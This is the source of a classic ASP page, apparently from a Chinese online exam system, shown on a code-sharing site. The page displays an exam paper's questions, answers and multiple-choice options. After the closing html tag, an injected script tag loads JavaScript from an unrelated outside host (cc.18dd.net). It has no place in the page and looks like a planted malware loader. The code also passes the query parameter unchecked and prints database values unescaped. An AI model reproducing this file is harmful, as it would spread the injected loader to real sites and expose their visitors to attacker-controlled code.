📄 paperview.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<title>查看试卷</title>
<link href=../style.css rel=STYLESHEET type=text/css>
</head>
<body>
<%'读取试卷名称
Set pa = New EPaper
pid = Request.QueryString("pid")
pa.GetPaperInfo(pid)
pname = pa.rs("PName")
lid = pa.rs("Lid")
%>
<form name="myform" method="post">
<p align="center"><font size=3 color=red><b><%=pname%></b></font></p>
<table border="0" width="100%" cellspacing="1" align="center">
<%'读取试卷所有试题，并按类型显示
Set ls = New EPaperList
Set ls1 = New EPaperList
Set eq = New EQuestion
n = 0
m = 0
'读取试卷包含的试题类型信息
ls.GetTypeList(pid)
DO WHILE NOT ls.rs.EOF
n = n + 1
tid = ls.rs("TId")
'计算该类型题目数量
cnt = eq.GetCount(tid,lid)
%><tr><td colspan=2><font size=5><%=n%>、<%=ls.rs("TName")%>
(共<%=cnt%>题，每题<%=ls.rs("TValue")%>分)</font></td></tr>
<% '读取该类型下试题
ls1.GetDetail pid,tid
Do While Not ls1.rs.EOF
m = m + 1
'读取试题信息
%>
<tr>
<td colspan=2> <font size=3><%=m%>) <%=ls1.rs("QTitle")%>（答案：<%=ls1.rs("QAnswer")%>）</font></td>
</tr>
<tr>
<td width="50%"> <font size=2>(A) <%=ls1.rs("A")%></font></td>
<td width="50%"> <font size=2>(B) <%=ls1.rs("B")%></font></td>
</tr>
<tr>
<td> <font size=2>(C) <%=ls1.rs("C")%></font></td>
<td> <font size=2>(D) <%=ls1.rs("D")%></font></td>
</tr>
<% ls1.rs.MoveNext
Loop
ls.rs.MoveNext
Loop%>
</table>
<p align=center>
<input type="button" name="ok" onclick="javascript:window.close();" value=" 关 闭 "></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -